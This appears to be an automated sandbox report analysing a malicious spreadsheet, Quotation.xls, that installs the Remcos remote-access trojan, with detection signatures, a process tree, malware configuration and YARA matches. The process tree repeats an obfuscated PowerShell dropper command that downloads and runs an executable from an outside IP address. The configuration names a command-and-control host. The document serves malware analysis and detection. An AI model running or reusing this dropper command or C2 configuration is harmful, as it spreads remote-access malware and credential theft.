Edit tour

Windows Analysis Report
Quotation.xls

Overview

General Information

Sample name:	Quotation.xls
Analysis ID:	1482857
MD5:	36cace5745dcb32c2ab03ca4ba433394
SHA1:	2e479ac4ea9b158f39093dded3b55c360a1f2082
SHA256:	c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c
Tags:	xls
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Remcos RAT

Yara detected UAC Bypass using CMSTP

Yara detected obfuscated html page

AI detected suspicious Excel or Word document

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Delayed program exit found

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for sample

Microsoft Office drops suspicious files

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Suspicious command line found

Suspicious powershell command line found

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2932 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3296 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 3376 cmdline: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 3400 cmdline: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3512 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3520 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

winiti.exe (PID: 3608 cmdline: "C:\Users\user\AppData\Roaming\winiti.exe" MD5: 4FB3E6E7B8F9C12CD2D5E161F7B94760)

InstallUtil.exe (PID: 3660 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" MD5: AF862061889F5B9B956E9469DCDAE773)

mshta.exe (PID: 3828 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 3912 cmdline: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 3936 cmdline: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 4020 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 4032 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

winiti.exe (PID: 4076 cmdline: "C:\Users\user\AppData\Roaming\winiti.exe" MD5: 4FB3E6E7B8F9C12CD2D5E161F7B94760)

MSBuild.exe (PID: 1808 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" MD5: C1BE61F3DE532751D6C1A35B851B0367)

AddInProcess32.exe (PID: 2480 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "unifrieghtmovers.com:2558:1", "Assigned name": "Gasplant", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "chrome-E2SMAR", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6acd0:$a1: Remcos restarted by watchdog! 0x2ca588:$a1: Remcos restarted by watchdog! 0x6b248:$a3: %02i:%02i:%02i:%03i 0x2cab00:$a3: %02i:%02i:%02i:%03i
00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6acd0:$a1: Remcos restarted by watchdog! 0x2ca588:$a1: Remcos restarted by watchdog! 0x6b248:$a3: %02i:%02i:%02i:%03i 0x2cab00:$a3: %02i:%02i:%02i:%03i
0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: winiti.exe PID: 3608	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: winiti.exe PID: 3608	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: winiti.exe PID: 3608	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x3ddef:$a1: Remcos restarted by watchdog! 0x3e349:$a3: %02i:%02i:%02i:%03i 0x3e778:$a3: %02i:%02i:%02i:%03i
Process Memory Space: InstallUtil.exe PID: 3660	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: winiti.exe PID: 4076	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: winiti.exe PID: 4076	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: winiti.exe PID: 4076	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x8194a:$a1: Remcos restarted by watchdog! 0x81ea4:$a3: %02i:%02i:%02i:%03i 0x822d3:$a3: %02i:%02i:%02i:%03i
Process Memory Space: AddInProcess32.exe PID: 2480	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: AddInProcess32.exe PID: 2480	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: AddInProcess32.exe PID: 2480	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x87dd:$a1: Remcos restarted by watchdog! 0x8d37:$a3: %02i:%02i:%02i:%03i 0x9166:$a3: %02i:%02i:%02i:%03i
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
25.2.AddInProcess32.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
25.2.AddInProcess32.exe.400000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
25.2.AddInProcess32.exe.400000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6c4a8:$a1: Remcos restarted by watchdog! 0x6ca20:$a3: %02i:%02i:%02i:%03i
25.2.AddInProcess32.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x664fc:$str_a1: C:\Windows\System32\cmd.exe 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6656c:$str_b2: Executing file: 0x675ec:$str_b3: GetDirectListeningPort 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x67118:$str_b7: \update.vbs 0x66594:$str_b9: Downloaded file: 0x66580:$str_b10: Downloading file: 0x66624:$str_b12: Failed to upload file: 0x675b4:$str_b13: StartForward 0x675d4:$str_b14: StopForward 0x67070:$str_b15: fso.DeleteFile " 0x67004:$str_b16: On Error Resume Next 0x670a0:$str_b17: fso.DeleteFolder " 0x66614:$str_b18: Uploaded file: 0x665d4:$str_b19: Unable to delete: 0x67038:$str_b20: while fso.FileExists(" 0x66ab1:$str_c0: [Firefox StoredLogins not found]
25.2.AddInProcess32.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6637c:$s1: CoGetObject 0x66390:$s1: CoGetObject 0x663ac:$s1: CoGetObject 0x70338:$s1: CoGetObject 0x6633c:$s2: Elevation:Administrator!new:
22.2.winiti.exe.143564228.3.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.winiti.exe.143564228.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.winiti.exe.143564228.3.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
22.2.winiti.exe.143564228.3.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
22.2.winiti.exe.143564228.3.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
11.2.winiti.exe.143fc3ae0.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
11.2.winiti.exe.143fc3ae0.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.winiti.exe.143fc3ae0.2.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
11.2.winiti.exe.143fc3ae0.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 